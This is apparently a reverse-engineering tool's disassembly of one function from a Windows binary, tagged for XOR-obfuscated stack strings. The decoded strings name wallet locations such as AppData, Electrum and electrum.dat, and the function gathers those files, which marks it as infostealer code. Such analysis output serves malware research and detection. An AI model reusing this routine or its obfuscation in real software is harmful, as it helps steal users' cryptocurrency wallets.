Function at 0x416d44
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
push ebx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x10], 0x7d7d4c0d
mov dl, 0xd
mov dword [esp + 0x14], 0x6c796c49
mov byte [esp + 0x18], 0
xor eax, eax
xor byte [esp + eax + 0x11], dl
inc eax
cmp eax, 7
jae 0x416d7e
mov dl, byte [esp + 0x10]
jmp 0x416d6e
lea eax, [esp + 0x11]
mov byte [esp + 0x18], 0
push eax
call fcn.00431c1b
pop ecx
push eax
lea ecx, [esp + 0x5c]
call fcn.0040fb41
push 0xa
pop ebx
mov cl, 0x66
mov word [esp + 0x10], 0x366
mov byte [esp + 0x12], bl
xor eax, eax
mov dword [esp + 0x13], 0x14120503
mov dword [esp + 0x17], 0x2480b13
mov word [esp + 0x1b], 0x1207
mov byte [esp + 0x1d], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 0xc
jae 0x416dd6
mov cl, byte [esp + 0x10]
jmp 0x416dc6
lea eax, [esp + 0x11]
mov byte [esp + 0x1d], 0
push eax
lea ecx, [esp + 0x2c]
call fcn.0040fb41
xor edx, edx
mov dword [esp + 0x10], 0x5d746d31
mov cl, 0x31
mov dword [esp + 0x14], 0x43455254
mov word [esp + 0x18], 0x5c44
mov eax, edx
mov byte [esp + 0x1a], dl
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 9
jae 0x416e1a
mov cl, byte [esp + 0x10]
jmp 0x416e0a
mov esi, dword [ebp + 8]
lea eax, [esp + 0x28]
push edx
push 1
push esi
push eax
lea eax, [esp + 0x21]
mov byte [esp + 0x2a], dl
push eax
lea edx, [esp + 0x6c]
lea ecx, [esp + 0x54]
call fcn.0040fcf9
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [esp + 0x40]
call fcn.0040fa99
lea ecx, [esp + 0x28]
call fcn.0040fa99
push 2
pop eax
mov byte [esp + 0x15], al
mov cl, 0x6e
mov byte [esp + 0x16], al
xor eax, eax
mov dword [esp + 0x10], 0x1940446e
mov byte [esp + 0x14], 0xf
mov word [esp + 0x17], 0x1a0b
mov byte [esp + 0x19], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 8
jae 0x416e8e
mov cl, byte [esp + 0x10]
jmp 0x416e7e
lea eax, [esp + 0x11]
mov byte [esp + 0x19], 0
push eax
lea ecx, [esp + 0x2c]
call fcn.0040fb41
xor edx, edx
mov dword [esp + 0x10], 0x734b5a06
mov cl, 6
mov dword [esp + 0x14], 0x446f726a
mov word [esp + 0x18], 0x726f
mov eax, edx
mov byte [esp + 0x1a], dl
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 9
jae 0x416ed2
mov cl, byte [esp + 0x10]
jmp 0x416ec2
push edx
push 1
push esi
lea eax, [esp + 0x34]
mov byte [esp + 0x26], dl
push eax
lea eax, [esp + 0x21]
push eax
lea edx, [esp + 0x6c]
lea ecx, [esp + 0x54]
call fcn.0040fcf9
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [esp + 0x40]
call fcn.0040fa99
lea ecx, [esp + 0x28]
call fcn.0040fa99
mov cl, 4
mov dword [esp + 0x10], 0x732a2e04
mov dword [esp + 0x14], 0x61686865
xor eax, eax
mov word [esp + 0x18], 0x70
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 8
jae 0x416f36
mov cl, byte [esp + 0x10]
jmp 0x416f26
lea eax, [esp + 0x11]
mov byte [esp + 0x19], 0
push eax
lea ecx, [esp + 0x2c]
call fcn.0040fb41
mov byte [esp + 0x10], bl
xor eax, eax
mov dword [esp + 0x11], 0x67784b56
mov dword [esp + 0x15], 0x737865
xor byte [esp + eax + 0x11], bl
inc eax
cmp eax, 7
jae 0x416f6f
mov bl, byte [esp + 0x10]
jmp 0x416f5f
xor ebx, ebx
lea eax, [esp + 0x28]
push ebx
push 1
push esi
push eax
lea eax, [esp + 0x21]
mov byte [esp + 0x28], bl
push eax
lea edx, [esp + 0x6c]
lea ecx, [esp + 0x54]
call fcn.0040fcf9
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [esp + 0x40]
call fcn.0040fa99
lea ecx, [esp + 0x28]
call fcn.0040fa99
push 0x40847c
lea ecx, [esp + 0x44]
call fcn.0040fb41
movaps xmm0, xmmword [0x409010]
mov ecx, ebx
movups xmmword [esp + 0x28], xmm0
mov dword [esp + 0x38], 0x627568
mov al, byte [esp + 0x28]
xor byte [esp + ecx + 0x29], al
inc ecx
cmp ecx, 0x12
jb 0x416fce
push ebx
push 1
push esi
lea eax, [esp + 0x4c]
mov byte [esp + 0x47], bl
push eax
lea eax, [esp + 0x39]
push eax
lea edx, [esp + 0x6c]
lea ecx, [esp + 0x24]
call fcn.0040fcf9
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [esp + 0x10]
call fcn.0040fa99
lea ecx, [esp + 0x40]
call fcn.0040fa99
push 0x67
pop ebx
mov cl, 2
mov dword [esp + 0x10], 0x752c2802
mov word [esp + 0x14], 0x6e63
xor eax, eax
mov byte [esp + 0x16], 0x6e
mov byte [esp + 0x17], bl
mov word [esp + 0x18], 0x76
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 8
jae 0x41704b
mov cl, byte [esp + 0x10]
jmp 0x41703b
lea eax, [esp + 0x11]
mov byte [esp + 0x19], 0
push eax
lea ecx, [esp + 0x2c]
call fcn.0040fb41
xor edx, edx
mov word [esp + 0x10], 0x421e
mov cl, 0x1e
mov byte [esp + 0x12], 0x7c
mov byte [esp + 0x13], bl
mov eax, edx
mov dword [esp + 0x14], 0x717d7b6a
mov word [esp + 0x18], 0x7077
mov byte [esp + 0x1a], dl
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 9
jae 0x417097
mov cl, byte [esp + 0x10]
jmp 0x417087
push edx
push 1
push esi
lea eax, [esp + 0x34]
mov byte [esp + 0x26], dl
push eax
lea eax, [esp + 0x21]
push eax
lea edx, [esp + 0x6c]
lea ecx, [esp + 0x54]
call fcn.0040fcf9
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [esp + 0x40]
call fcn.0040fa99
lea ecx, [esp + 0x28]
call fcn.0040fa99
mov cl, 1
mov byte [esp + 0x11], bl
mov byte [esp + 0x10], cl
xor eax, eax
mov dword [esp + 0x12], 0x5e646d68
mov word [esp + 0x16], 0x2b5e
mov byte [esp + 0x18], 0
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 7
jae 0x417100
mov cl, byte [esp + 0x10]
jmp 0x4170f0
lea eax, [esp + 0x11]
mov byte [esp + 0x18], 0
push eax
lea ecx, [esp + 0x44]
call fcn.0040fb41
movaps xmm0, xmmword [0x408c80]
xor edx, edx
movups xmmword [esp + 0x28], xmm0
mov dword [esp + 0x38], 0x393b3d2e
mov ecx, edx
mov byte [esp + 0x3c], dl
mov al, byte [esp + 0x28]
xor byte [esp + ecx + 0x29], al
inc ecx
cmp ecx, 0x13
jb 0x41712f
push edx
push 1
push esi
lea eax, [esp + 0x4c]
mov byte [esp + 0x48], dl
push eax
lea eax, [esp + 0x39]
push eax
lea edx, [esp + 0x6c]
lea ecx, [esp + 0x84]
call fcn.0040fcf9
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [esp + 0x70]
call fcn.0040fa99
lea ecx, [esp + 0x40]
call fcn.0040fa99
push 0x4083a4
mov edx, esi
lea ecx, [esp + 0x74]
call fcn.0040fcf9
mov edx, eax
cmp dword [edx + 0x14], 0xf
jbe 0x417193
mov edx, dword [edx]
movaps xmm0, xmmword [0x408a10]
xor ecx, ecx
movups xmmword [esp + 0x28], xmm0
mov al, byte [esp + 0x28]
xor byte [esp + ecx + 0x29], al
inc ecx
cmp ecx, 0xe
jb 0x4171a1
mov byte [esp + 0x37], 0
mov cl, 0x71
mov dword [esp + 0x40], 0x3143a71
xor eax, eax
mov dword [esp + 0x44], 0x421d141f
mov dword [esp + 0x48], 0x1d155f43
mov word [esp + 0x4c], 0x1d
xor byte [esp + eax + 0x41], cl
inc eax
cmp eax, 0xc
jae 0x4171e7
mov cl, byte [esp + 0x40]
jmp 0x4171d7
lea eax, [esp + 0x88]
mov byte [esp + 0x4d], 0
push eax
push edx
lea edx, [esp + 0x31]
lea ecx, [esp + 0x49]
call fcn.0040af96
call eax
lea ecx, [esp + 0x70]
mov esi, eax
call fcn.0040fa99
cmp esi, 0xffffffff
je 0x4172c6
xor edx, edx
test byte [esp + 0x88], 0x10
mov eax, edx
je 0x4172fb
mov cl, 0x2e
mov dword [esp + 0x28], 0x4047682e
mov dword [esp + 0x2c], 0x564b604a
mov dword [esp + 0x30], 0x4247685a
mov word [esp + 0x34], 0x6f4b
mov byte [esp + 0x36], dl
xor byte [esp + eax + 0x29], cl
inc eax
cmp eax, 0xd
jae 0x41725f
mov cl, byte [esp + 0x28]
jmp 0x41724f
push 2
pop eax
mov cl, bl
mov byte [esp + 0x12], al
mov byte [esp + 0x15], al
mov eax, edx
mov byte [esp + 0x36], dl
mov byte [esp + 0x10], cl
mov byte [esp + 0x11], 0x2c
mov word [esp + 0x13], 0x915
mov dword [esp + 0x16], 0x4955540b
mov dword [esp + 0x1a], 0xb0b03
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 0xc
jae 0x4172a2
mov cl, byte [esp + 0x10]
jmp 0x417292
lea eax, [esp + 0x88]
mov byte [esp + 0x1d], dl
push eax
push esi
lea edx, [esp + 0x31]
lea ecx, [esp + 0x19]
call fcn.0040af96
call eax
test eax, eax
jne 0x417218
xor edx, edx
mov dword [esp + 0x10], 0x6f684701
mov cl, 1
mov dword [esp + 0x14], 0x6e6d4265
mov word [esp + 0x18], 0x6472
mov eax, edx
mov byte [esp + 0x1a], dl
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 9
jae 0x41737c
mov cl, byte [esp + 0x10]
jmp 0x4172e7
mov byte [edi + 0x126], 1
mov byte [esp + 0x10], bl
mov dword [esp + 0x11], 0x3090e21
mov dword [esp + 0x15], 0x14080b24
mov word [esp + 0x19], 2
xor byte [esp + eax + 0x11], bl
inc eax
cmp eax, 9
jae 0x41732d
mov bl, byte [esp + 0x10]
jmp 0x41731d
push 0x71
pop ecx
mov byte [esp + 0x1a], dl
mov eax, edx
mov byte [esp + 0x28], cl
mov dword [esp + 0x29], 0x1f03143a
mov dword [esp + 0x2d], 0x43421d14
mov dword [esp + 0x31], 0x1d1d155f
mov byte [esp + 0x35], dl
xor byte [esp + eax + 0x29], cl
inc eax
cmp eax, 0xc
jae 0x417366
mov cl, byte [esp + 0x28]
jmp 0x417356
mov byte [esp + 0x35], dl
lea ecx, [esp + 0x29]
push esi
lea edx, [esp + 0x15]
call fcn.0040af96
call eax
jmp 0x4173dd
push 2
pop ecx
mov byte [esp + 0x1a], dl
mov eax, edx
mov byte [esp + 0x28], cl
mov byte [esp + 0x29], 0x49
mov byte [esp + 0x2a], bl
mov word [esp + 0x2b], 0x6c70
mov byte [esp + 0x2d], bl
mov dword [esp + 0x2e], 0x2c30316e
mov dword [esp + 0x32], 0x6e6e66
xor byte [esp + eax + 0x29], cl
inc eax
cmp eax, 0xc
jae 0x4173bd
mov cl, byte [esp + 0x28]
jmp 0x4173ad
mov byte [esp + 0x35], dl
lea ecx, [esp + 0x29]
push esi
lea edx, [esp + 0x15]
call fcn.0040af96
call eax
push 1
push dword [ebp + 8]
mov ecx, edi
call fcn.0040b2fd
lea ecx, [esp + 0x58]
call fcn.0040fa99
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4